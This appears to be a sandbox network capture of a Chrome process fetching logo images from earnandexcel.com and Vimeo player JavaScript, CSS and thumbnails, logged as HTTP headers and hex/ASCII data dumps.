2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 5f 6f 76 65 72 6c 61 79 43 6c 65 61 72 65 64 3a 49 74 28 29 2c 5f 6f 76 65 72 6c 61 79 43 6c 6f 73 65 42 75 74 74 6f 6e 50 72 65 73 73 65 64 3a 49 74 28 29 2c 5f 66 61 63 65 62 6f 6f 6b 42 75 74 74 6f 6e 50 72 65 73 73 65 64 3a 49 74 28 29 2c 5f 74 77 69 74 74 65 72 42 75 74 74 6f 6e 50 72 65 73 73 65 64 3a 49 74 28 29 2c 5f 74 75 6d 62 6c 72 42 75 74 74 6f 6e 50 72 65 73 73 65 64 3a 49 74 28 29 2c 5f 65 6d 61 69 6c 42 75 74 74 6f 6e 50 72 65 73 73 65 64 3a 49 74 28 29 2c 5f 65 6d 62 65 64 43 6f 64 65 43 6f 70 69 65 64 3a 49 74 28 29 2c 5f 70 6f 70 75 70 4f 70 65 6e 65 64 3a 49 74 28 29 2c 5f 64 65 62 75 67 42 75 74 74 6f 6e 50 72 65 73 73 65 64 3a 49 74 28 29 2c 5f 65 6d 61 69 6c 43 61 70 74 75 72 65 53 75 62 6d 69 74 74 65 64 3a 49 74 28 29 2c 5f 70 6f Data Ascii: _overlayCleared:It(),_overlayCloseButtonPressed:It(),_facebookButtonPressed:It(),_twitterButtonPressed:It(),_tumblrButtonPressed:It(),_emailButtonPressed:It(),_embedCodeCopied:It(),_popupOpened:It(),_debugButtonPressed:It(),_emailCaptureSubmitted:It(),_po
2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 64 3a 49 74 28 29 2c 5f 74 69 74 6c 65 4d 6f 64 75 6c 65 52 65 61 64 79 3a 49 74 28 29 2c 5f 73 69 64 65 64 6f 63 6b 4d 6f 64 75 6c 65 52 65 61 64 79 3a 49 74 28 29 2c 5f 63 6f 6e 74 72 6f 6c 42 61 72 4d 6f 64 75 6c 65 52 65 61 64 79 3a 49 74 28 29 2c 5f 76 69 64 65 6f 4d 6f 64 75 6c 65 52 65 61 64 79 3a 49 74 28 29 2c 5f 6f 76 65 72 6c 61 79 4d 6f 64 75 6c 65 52 65 61 64 79 3a 49 74 28 29 2c 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 4d 6f 64 75 6c 65 52 65 61 64 79 3a 49 74 28 29 2c 5f 73 74 61 74 73 4d 6f 64 75 6c 65 52 65 61 64 79 3a 49 74 28 29 2c 5f 61 70 69 4d 6f 64 75 6c 65 52 65 61 64 79 3a 49 74 28 29 2c 5f 72 65 61 64 79 3a 49 74 28 29 2c 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 48 69 64 64 65 6e 3a 49 74 28 29 2c 5f 61 6c 65 72 74 56 69 73 69 62 69 Data Ascii: d:It(),_titleModuleReady:It(),_sidedockModuleReady:It(),_controlBarModuleReady:It(),_videoModuleReady:It(),_overlayModuleReady:It(),_notificationModuleReady:It(),_statsModuleReady:It(),_apiModuleReady:It(),_ready:It(),_notificationHidden:It(),_alertVisibi
2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 77 65 62 6d 22 3a 22 70 72 6f 67 72 65 73 73 69 76 65 22 2c 22 76 69 64 65 6f 2f 78 2d 66 6c 76 22 3a 22 70 72 6f 67 72 65 73 73 69 76 65 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 70 65 67 55 52 4c 22 3a 22 68 6c 73 6c 69 76 65 22 7d 2c 24 74 3d 7b 6d 61 69 6e 3a 31 2c 70 72 69 76 61 74 65 4c 6f 63 6b 65 64 3a 32 2c 70 72 69 76 61 74 65 55 6e 6c 6f 63 6b 65 64 3a 33 2c 70 72 69 76 61 74 65 50 61 73 73 77 6f 72 64 3a 34 2c 65 72 72 6f 72 3a 37 2c 63 6f 6e 74 65 6e 74 52 61 74 69 6e 67 3a 39 2c 77 65 62 69 6e 61 72 42 6c 6f 63 6b 65 64 3a 31 30 2c 77 65 62 69 6e 61 72 4c 6f 63 6b 65 64 3a 31 31 2c 77 65 62 69 6e 61 72 55 6e 6c 6f 63 6b 65 64 3a 31 32 2c 77 65 62 69 6e 61 72 46 75 6c 6c 3a 31 33 7d 2c 7a 74 3d 7b 41 44 5f 53 54 41 52 54 45 44 3a Data Ascii: webm":"progressive","video/x-flv":"progressive","application/x-mpegURL":"hlslive"},$t={main:1,privateLocked:2,privateUnlocked:3,privatePassword:4,error:7,contentRating:9,webinarBlocked:10,webinarLocked:11,webinarUnlocked:12,webinarFull:13},zt={AD_STARTED:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.17	49769	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	484	OUT	GET /wp-content/uploads/Earn-And-Excel-Logo-2-296x100.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22}
2024-04-11 21:26:40 UTC	917	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: image/png Content-Length: 5715 Connection: close CF-Ray: 872e0e67c89c8c83-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3303-1653" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:43 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CH%2F%2FzQc7k%2BM%2BxEDMt5yYR%2FWBa4RCKv9nR2D8M0FEvEvjsYyxt60pGj5vgCa%2FelvEkLMbUiQVso%2BsGPS9hAc5ypUj%2FHnzb%2BCfNAa1q0Qb7Hruz1ZUJLDxkun0dwtnVvjLy%2Fk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	452	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 28 00 00 00 64 08 06 00 00 00 35 ea ad ba 00 00 16 1a 49 44 41 54 78 da ec db 5d 68 cd 71 1c c7 f1 df 1e 6d 76 d8 3c 46 99 79 ac 59 46 0a 43 13 17 8b 5a 8c 5c 48 0a 91 3b 29 e5 a1 76 23 17 ca 49 5a 2e dc a0 88 44 2e 14 b1 84 72 21 4f a3 64 25 0f 69 a5 79 28 0f b3 31 7b de f9 ff bd 3b fd 7f b5 d6 96 8e 9d f3 3f 4f 9f 77 bd 6e cf ee 3e 9d 7d cf ff 6f 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 ca df ae be 36 b9 9b 5f 56 56 94 bf d8 5d 59 dc b0 29 c7 28 a5 54 bc 63 98 b2 31 0f c1 03 8d 25 cd b3 9e 6d fc c8 40 1d c5 5c 64 19 a5 94 f2 39 86 29 6c 2a f6 e3 15 fa 6b 1b a7 b9 b3 1a 36 b8 0c 53 1f 1a b1 0f 53 60 94 52 ca 8f 61 ca c0 78 6c c7 23 74 c3 85 3b 60 a0 ac 2e 3c c0 56 8c 47 86 51 4a a9 18 7d Data Ascii: PNGIHDR(d5IDATx]hqmv<FyYFCZ\H;)v#IZ.D.r!Od%iy(1{;?Own>}oRJ)RJ)RJ)R6_VV]Y)(Tc1%m@\d9)l*k6SS`Raxl#t;`.<VGQJ}
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 47 af ce 28 95 a2 79 77 a6 71 d8 89 06 f4 da 61 49 e0 81 b2 fa f0 12 7b 30 59 87 74 a5 52 24 6f 98 02 58 87 7a fc b6 83 92 44 03 65 75 e2 3e b6 a0 48 43 a5 54 92 e6 0d 53 1e 2a 71 09 ad 70 e0 26 f1 40 59 ed b8 8e 35 28 d0 7d 4a a9 24 ca bb 33 cd 43 1d 3e 0d 1c a6 14 19 28 17 0e be e1 2c 16 eb d5 19 a5 12 3c 7b 00 47 ed e0 03 78 0a 0e 94 15 c2 07 04 51 aa a1 52 89 50 55 55 55 16 26 a1 1c b3 91 be e7 08 ef d5 94 49 d8 85 e7 e8 b3 a3 91 06 03 65 85 f0 16 07 50 ac 57 67 54 3c 63 90 e6 e3 29 be e0 18 d2 ef 17 68 ef ce 94 8f f5 b8 3d f0 09 f0 34 1c 28 ab 1b 8f b1 5d 4f a4 ab 78 c5 20 ad 40 07 5c 9c 48 bb 81 62 10 72 b0 12 97 d0 02 07 ae 06 0a 40 3b ea 51 83 7c 33 44 a5 a5 a5 01 94 63 51 14 94 21 d7 28 a5 81 0a 0f 54 39 9a e0 26 8a 04 1b 28 ab 0d ab 87 19 a8 0a Data Ascii: G(ywqaI{0YtR$oXzDeu>HCTS*qp&@Y5(}J$3C>(,<{GxQRPUUU&IePWgT<c)h=4(]Ox @\Hbr@;Q\|3DcQ!(T9&(
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 33 71 1c 52 35 2d 75 f1 e2 4b f4 45 0a 8c 84 94 03 0d f0 20 56 c3 5f 0d 13 35 a7 e8 04 54 1d b4 40 5a a8 6b 94 69 00 9d b0 51 a3 ed 97 4d 04 94 17 fd 91 0c 17 e2 91 82 6c b4 47 1a b7 1b 09 a8 17 e0 86 03 4e a4 e1 51 9c d6 b8 fe 45 b8 22 10 50 f5 b0 5a f5 a6 93 6b 51 40 39 d0 0d a7 21 e3 2b a4 6a bc e9 4d 46 00 12 66 c0 23 a6 19 98 0f a8 20 f6 62 0a 72 e1 32 71 f4 54 33 8c c7 5e 04 6c b0 16 4f 42 11 3e c4 f5 f0 18 0c 2a 27 b2 31 1c 9b 50 6e 83 80 32 33 1d e1 49 54 40 ae e4 53 13 01 75 1e b7 39 74 ca 60 40 4d 0c 71 7d 5d 2c d0 b8 7e 11 dc 11 08 a8 04 7c 00 19 45 e8 68 45 40 29 f7 64 62 23 64 ec c4 65 1a d7 ac 51 bd 3d dd 00 31 0f ca 64 40 15 60 36 da 21 de c4 06 77 99 78 02 9b 11 b0 e1 62 61 09 c7 f1 06 5a c1 65 b0 db 17 87 a6 98 8c fd 08 d8 21 a0 94 b7 11 Data Ascii: 3qR5-uKE V_5T@ZkiQMlGNQE"PZkQ@9!+jMFf# br2qT3^lOB>*'1Pn23IT@Su9t`@Mq}],~\|EhE@)db#deQ=1d@`6!wxbaZe!
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 70 b5 c6 3d 59 e8 17 e2 fa 5b 51 95 03 08 3a e0 49 bc 85 79 58 80 f9 98 8b 69 18 8d 81 e8 8c 1c c4 6b b4 d5 08 f7 60 00 ae 36 f1 0c ad 30 00 7d 61 34 60 5d 68 8c fe 78 09 9f 60 81 ca fb 78 0d 4f a1 db 85 e7 ae 6d 65 51 40 95 23 1f 4f 22 0b 4e 9b 1c 3b 55 07 bd f1 77 9c b3 24 a0 6c 52 ca 5b 95 07 75 2a f1 a0 76 75 03 54 5b e5 22 05 75 14 1e c4 c3 61 e7 52 c2 2a 19 75 54 92 6a 5d 77 2e 02 01 15 c4 3e 4c 46 53 b8 ec 74 2e 9e 6a 03 ba 34 fc 16 6b e1 ab 09 01 25 4a 54 ad a8 8b 08 a8 42 cc 46 27 c4 db fd 54 17 25 a8 1a 63 24 76 21 28 02 4a 94 28 9b 57 15 02 ea 2c 16 a1 07 58 b3 17 5b c7 4e 29 47 4e 5d 85 d7 70 08 41 11 50 a2 44 d9 b4 4c 04 94 0f 2b 70 3f 52 e1 88 e1 73 f1 1c 70 a3 0b fe 82 d3 22 a0 44 89 b2 61 19 08 a8 20 b6 a9 8f 38 37 b1 5d 4b 0e e6 47 31 a0 Data Ascii: p=Y[Q:IyXik`60}a4`]hx`xOmeQ@#O"N;Uw$lR[uvuT["uaRuTj]w.>LFSt.j4k%JTBF'T%c$v!(J(W,X[N)GN]pAPDL+p?Rsp"Da 87]KG1
2024-04-11 21:26:40 UTC	1156	IN	Data Raw: e1 73 78 a3 75 ec 94 5d 02 4a 15 2a 77 a3 20 cc 7a b8 57 e0 09 d3 56 02 de d0 99 71 de 8d cb ec 1a 50 29 22 a0 6a 68 45 21 a0 ca b0 0a 0f a0 a1 91 d9 ea 26 17 f7 36 c0 40 2c 47 59 6d 0a 28 e5 f3 1b e2 3b c8 1a 4a f1 38 5c 61 da 71 e3 6d 8d 36 4e e1 37 22 a0 44 a9 2b d6 03 2a 80 2d 78 1a 59 88 68 11 1e 97 e0 0f f8 19 15 b5 21 a0 54 5b bd 14 41 d6 b1 07 d7 19 08 a8 99 22 a0 44 d9 aa 22 10 50 41 1c c2 4b 68 09 97 23 4a 45 80 b8 d0 0c 93 b0 0f c1 6a 0e a8 83 58 8c 85 06 bc 8d 0c 93 63 50 d7 62 37 e4 30 24 7c 83 46 d0 db ef 69 b2 ce 92 9d de 51 0c a8 ed 58 68 d0 ff 22 51 04 54 0d 2d 0b 03 4a c2 49 bc 83 8e 70 23 da a5 1e 48 6f 87 19 38 0a a9 9a 02 ea 23 d4 83 c7 80 44 38 4d 7c c1 33 b1 04 92 89 69 06 d3 50 47 67 ea c2 08 8d f6 82 78 0c ce 28 05 d4 78 78 0c 4a Data Ascii: sxu]Jw zWVqP)"jhE!&6@,GYm(;J8\aqm6N7"D+-xYh!T[A"D"PAKh#JEjXcPb70$\|FiQXh"QT-JIp#Ho8#D8M\|3iPGgx(xxJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.17	49765	151.101.0.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	667	OUT	GET /video/755912404-7b63338d02fc79560c0570e832acf14f8130f0197c8c7bd50735d0c605a9e6ed-d?mw=80&q=85 HTTP/1.1 Host: i.vimeocdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://player.vimeo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:40 UTC	582	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1867 Cache-Control: max-age=2592000 Content-Type: image/avif Etag: "d1dbd544bede19db364e8322b5d12fff" X-Viewmaster-Lossless-Format: automatic Via: 1.1 google, 1.1 varnish, 1.1 varnish Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-Viewmaster-Status Access-Control-Max-Age: 86400 Accept-Ranges: bytes Age: 488433 Date: Thu, 11 Apr 2024 21:26:40 GMT X-Served-By: cache-dfw-kdal2120132-DFW, cache-ewr18146-EWR X-Cache: HIT, HIT X-Cache-Hits: 78, 0 X-Timer: S1712870800.499385,VS0,VE2 Vary: Accept
2024-04-11 21:26:40 UTC	1379	IN	Data Raw: 00 00 00 20 66 74 79 70 61 76 69 66 00 00 00 00 61 76 69 66 6d 69 66 31 6d 69 61 66 4d 41 31 42 00 00 00 f2 6d 65 74 61 00 00 00 00 00 00 00 28 68 64 6c 72 00 00 00 00 00 00 00 00 70 69 63 74 00 00 00 00 00 00 00 00 00 00 00 00 6c 69 62 61 76 69 66 00 00 00 00 0e 70 69 74 6d 00 00 00 00 00 01 00 00 00 1e 69 6c 6f 63 00 00 00 00 44 00 00 01 00 01 00 00 00 01 00 00 01 1a 00 00 06 31 00 00 00 28 69 69 6e 66 00 00 00 00 00 01 00 00 00 1a 69 6e 66 65 02 00 00 00 00 01 00 00 61 76 30 31 43 6f 6c 6f 72 00 00 00 00 6a 69 70 72 70 00 00 00 4b 69 70 63 6f 00 00 00 14 69 73 70 65 00 00 00 00 00 00 00 50 00 00 00 2d 00 00 00 10 70 69 78 69 00 00 00 00 03 08 08 08 00 00 00 0c 61 76 31 43 81 00 0c 00 00 00 00 13 63 6f 6c 72 6e 63 6c 78 00 02 00 02 00 02 80 00 00 00 17 Data Ascii: ftypavifavifmif1miafMA1Bmeta(hdlrpictlibavifpitmilocD1(iinfinfeav01ColorjiprpKipcoispeP-pixiav1Ccolrnclx
2024-04-11 21:26:40 UTC	488	IN	Data Raw: 77 20 ff 3e 92 ce 44 ef 29 7c 2a 35 da fb 5f 4f 03 64 5c 7e 92 40 e0 8d 6b d6 17 6a 78 ee 1e a7 5f 44 b3 7d 72 72 01 8f 5c 64 79 d5 1c 3f 9e e0 47 25 09 10 bc de bd f0 65 6f ca 5c 88 2f 99 8a ef 79 23 a4 60 59 d0 56 6c 1a 8b 6b 88 65 0a 39 6b bb cf 15 30 8a b8 74 2f 87 75 fc cc 70 a1 26 59 c3 49 0d d2 c6 e9 4f 16 28 65 94 a7 51 01 67 52 de 4a cc 8e 56 34 bc fc 80 40 25 fa ac a3 10 4f a0 53 e2 39 02 7c 5e 83 29 33 09 af 12 0f d6 31 8c a6 73 21 f0 c6 d6 5c b8 0f d6 e6 44 e5 ca 86 d4 94 fd 95 af 2f 58 66 8e 19 a1 33 2f 28 fb 59 db fd 92 d1 20 1f 78 21 bc 10 f5 d0 18 e9 e5 77 e7 61 0f 85 41 43 46 9d 11 78 d1 83 36 49 43 a6 c2 fe bb b0 20 2f d7 df 6a d0 15 9e 67 0d c8 00 7f ae 47 6a 43 27 b9 bc b0 4e 62 34 70 f7 8f fb 56 77 66 c6 6e 4e 5a 10 52 1f b5 63 60 c3 Data Ascii: w >D)\|*5_Od\~@kjx_D}rr\dy?G%eo\/y#`YVlke9k0t/up&YIO(eQgRJV4@%OS9\|^)31s!\D/Xf3/(Y x!waACFx6IC /jgGjC'Nb4pVwfnNZRc`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.17	49770	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	483	OUT	GET /wp-content/uploads/Earn-And-Excel-Logo-1-148x50.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22}
2024-04-11 21:26:40 UTC	900	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: image/png Content-Length: 2472 Connection: close CF-Ray: 872e0e67e814440c-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dfe9f9-9a8" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 04:39:21 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=265crtsUFj447vTUdN5II%2B1oEFFW2qLte4Hp1Y6vdI0jUE5AupC9VBVBzYedeQY428WI0NYk49R9HKEFG%2BxgrGPO7iLjJKGwim966oS5NqwuEEzN0VNJahcOzsFGRNVY1t4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	469	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 94 00 00 00 32 08 03 00 00 00 8d a7 02 15 00 00 02 07 50 4c 54 45 00 00 00 2d 2d 2d 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 44 44 44 28 28 28 28 28 28 3a 3a 3a 28 28 28 28 28 28 28 28 28 a9 d6 00 1d c9 52 28 28 28 28 28 28 28 28 28 28 28 28 31 31 31 a9 d6 00 44 44 44 44 44 44 28 28 28 28 28 28 44 44 44 9f d5 0a 44 44 44 28 28 28 28 28 28 1d c9 51 28 28 28 28 28 28 a9 d6 00 28 28 28 28 28 28 44 44 44 a9 d6 00 1d c9 52 28 28 28 44 44 44 28 28 28 44 44 44 44 44 44 44 44 44 28 28 28 44 44 44 28 28 28 1d c9 52 28 28 28 44 44 44 28 28 28 28 28 28 28 28 28 2d 2d 2d 44 44 44 28 28 28 1d c9 52 1d c9 52 28 28 28 a9 d6 00 1d c9 52 28 28 28 28 28 28 1d c9 52 28 Data Ascii: PNGIHDR2PLTE---((((((((((((((((((((((((((((((DDD((((((:::(((((((((R((((((((((((111DDDDDD((((((DDDDDD((((((Q((((((((((((DDDR(((DDD(((DDDDDDDDD(((DDD(((R(((DDD(((((((((---DDD(((RR(((R((((((R(
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 44 1d c9 52 44 44 44 44 44 44 44 44 44 21 ca 50 a9 d6 00 1e ca 51 a4 d6 03 a9 d6 00 a9 d6 00 1d c9 52 1d c9 52 1d c9 52 8d d3 11 a9 d6 00 a9 d6 00 1d c9 52 a9 d6 00 1d c9 52 a9 d6 00 1d c9 52 28 28 28 1d c9 52 7c d2 1c a9 d6 00 1d c9 52 a9 d6 00 28 28 28 25 ca 4d 8c d3 11 1b 56 2a 55 00 00 00 a8 74 52 4e 53 00 03 05 80 ad f9 66 fc 5c e7 c9 f6 05 ec fe 0a 0e 53 26 8d 99 f1 2d dc a3 07 fd 1e 94 35 15 0e 03 c1 24 1d f8 8c 3b fa 99 19 65 0a fc c0 a5 76 15 dc d1 71 52 48 05 df ca 9d 32 21 11 ef 50 09 ea d1 cc c9 b5 b1 8a 88 86 4c 44 42 0e f6 f0 ef ea e7 e2 dd d5 d5 d4 d1 c3 c2 b5 7a 78 6a 45 40 37 35 26 1d 1a 14 06 e5 e3 c6 bb a9 a9 a4 58 4a 4a 3a 30 23 1b d9 d0 cf b7 ae a0 92 8c 74 6c 57 4b 3d 34 2f 23 1d 15 0f f2 d9 be b6 a9 98 96 94 85 74 6b 64 61 5d 56 42 Data Ascii: DRDDDDDDDDD!PQRRRRRR(((R\|R(((%MV*UtRNSf\S&-5$;evqRH2!PLDBzxjE@75&XJJ:0#tlWK=4/#tkda]VB
2024-04-11 21:26:40 UTC	634	IN	Data Raw: c7 67 b9 3c 33 04 3f 43 07 4a 72 22 d5 ae 42 2b 87 3f b9 49 b2 e0 23 34 c1 56 43 e5 9b 67 c9 b4 82 7e 3c 5c e7 5f 12 ea fb 99 56 d1 99 fe 72 80 50 e2 01 37 5b a7 0a 4f 08 f9 20 54 28 88 aa 13 b3 3b 55 41 18 cd 71 5c 14 f1 90 63 c7 47 e8 56 5c 0d c7 6b d9 0b fb c5 7d 4b d5 a9 fa c1 59 a0 5a a3 4c 0a 5b 0b a2 ce 03 ad 4c 41 f8 76 e8 d0 11 85 4c 0b 76 35 21 fa c8 b2 d2 31 c5 04 47 a5 4c 91 94 54 c7 ea a5 18 dd 53 a7 24 8d e6 75 fc 82 c8 8d 0f f3 80 30 a9 92 dc 38 24 0f e3 95 57 82 df cc a5 84 9c b7 03 64 a2 a1 2b 42 10 f2 42 13 80 4a 0d c4 b1 db b4 6b 92 ea 7e bc 27 51 52 41 0f 3f bd d4 2a d1 4a 39 c7 fe 5d e5 37 43 21 06 30 87 27 39 59 00 16 35 d1 27 e5 03 83 49 25 81 9b 35 48 d5 4a 95 58 b9 02 38 f1 44 aa 15 df 8a 5a 74 86 c8 50 25 12 e7 3e 28 f0 b4 a2 b7 Data Ascii: g<3?CJr"B+?I#4VCg~<\_VrP7[O T(;UAq\cGV\k}KYZL[LAvLv5!1GLTS$u08$Wd+BBJk~'QRA?*J9]7C!0'9Y5'I%5HJX8DZtP%>(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.17	49764	199.232.38.109	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:40 UTC	551	OUT	GET /p/4.29.4/css/player.css HTTP/1.1 Host: f.vimeocdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://player.vimeo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:40 UTC	434	IN	HTTP/1.1 200 OK Connection: close Content-Length: 210609 Content-Type: text/css Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 5255 Date: Thu, 11 Apr 2024 21:26:40 GMT X-Served-By: cache-iad-kjyo7100161-IAD, cache-lga21932-LGA X-Cache: HIT, HIT X-Cache-Hits: 30, 0 X-Timer: S1712870801.517196,VS0,VE1 Vary: Accept-Encoding,x-http-method-override Cache-Control: max-age=1209600 Access-Control-Allow-Origin: *
2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 2f 2a 20 56 69 6d 65 6f 50 6c 61 79 65 72 20 2d 20 76 34 2e 32 39 2e 34 20 2d 20 32 30 32 34 2d 30 34 2d 31 31 20 2a 2f 0a 40 6b 65 79 66 72 61 6d 65 73 20 62 75 66 66 65 72 7b 31 30 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 31 30 70 78 29 7d 7d 40 2d 6d 6f 7a 2d 6b 65 79 66 72 61 6d 65 73 20 62 75 66 66 65 72 4c 65 66 74 7b 30 25 7b 6c 65 66 74 3a 30 7d 31 30 30 25 7b 6c 65 66 74 3a 2d 31 30 70 78 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 74 68 72 6f 62 7b 30 25 2c 31 30 30 25 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 7d 35 30 25 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 34 34 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 77 69 67 67 6c 65 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 Data Ascii: /* VimeoPlayer - v4.29.4 - 2024-04-11 */@keyframes buffer{100%{transform:translateX(-10px)}}@-moz-keyframes bufferLeft{0%{left:0}100%{left:-10px}}@keyframes throb{0%,100%{background-color:#555}50%{background-color:#444}}@keyframes wiggle{0%{transform:tra
2024-04-11 21:26:40 UTC	1371	IN	Data Raw: 73 69 7a 65 3a 31 30 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 3b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 3a 73 65 70 61 72 61 74 65 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 6d 61 6e 69 70 75 6c 61 74 65 7d 2e 70 6c 61 79 65 72 20 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 32 70 78 20 73 6f 6c 69 64 20 23 30 30 61 64 65 66 3b 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 32 70 78 7d 2e 70 6c 61 79 65 72 2c 2e 70 6c 61 79 65 72 20 2a 2c 2e 70 6c 61 79 65 72 20 3a 3a 61 66 74 65 72 2c 2e 70 6c 61 79 65 72 20 3a 3a 62 65 66 6f 72 65 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 Data Ascii: size:10px;overflow:visible;border-collapse:separate;user-select:none;touch-action:manipulate}.player :focus{outline:2px solid #00adef;outline-offset:2px}.player,.player *,.player ::after,.player ::before{box-sizing:border-box;-webkit-tap-highlight-color:t
